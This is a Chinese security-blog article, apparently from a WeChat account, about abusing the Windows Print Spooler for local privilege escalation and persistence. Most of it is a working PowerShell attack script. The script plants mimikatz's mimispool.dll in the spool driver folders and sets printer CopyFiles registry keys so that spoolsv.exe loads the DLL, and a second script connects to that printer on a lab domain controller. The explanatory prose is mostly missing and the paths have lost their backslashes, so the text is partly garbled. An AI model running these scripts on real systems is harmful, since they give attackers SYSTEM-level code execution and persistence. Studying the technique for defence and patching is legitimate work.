点击上方蓝字关注我们
前言
技术细节
$printerName = 'Pentest Lab Printer'$system32 = $env:systemroot + 'system32'$drivers = $system32 + 'spooldrivers'$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPrintPrinters' + $printerNameCopy-Item -Force -Path ($system32 + 'mscms.dll') -Destination ($system32 + 'mimispool.dll')Copy-Item -Force -Path '.mimikatz_trunkx64mimispool.dll' -Destination ($drivers + 'x643mimispool.dll')Copy-Item -Force -Path '.mimikatz_trunkwin32mimispool.dll' -Destination ($drivers + 'W32X863mimispool.dll')Add-PrinterDriver -Name 'Generic / Text Only'Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -SharedNew-Item -Path ($RegStartPrinter + 'CopyFiles') | Out-NullNew-Item -Path ($RegStartPrinter + 'CopyFilesKiwi') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Directory' -PropertyType 'String' -Value 'x643' | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-NullNew-Item -Path ($RegStartPrinter + 'CopyFilesLitchi') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X863' | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-NullNew-Item -Path ($RegStartPrinter + 'CopyFilesMango') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-NullNew-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
$serverName = 'dc.purple.lab'$printerName = 'Pentest Lab Printer'$fullprinterName = '\' + $serverName + '' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinueAdd-Printer -ConnectionName $fullprinterName
C:WindowsSystem32spooldriversx643
spoolsv.exe进程
总结
最初，Print Spooler打印后台处理服务中的漏洞，主要被滥用来在域控制器和服务器上实现本地权限提升和远程代码执行。但是，该技术现也可以被用于Windows工作站和服务器上的本地权限提升和持久化。因此，修复工作应涵盖网络上的所有系统，而不仅仅是域控制器。
END
本文始发于微信公众号（SecTr安全团队）：利用打印后台处理程序进行权限提升和持久化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论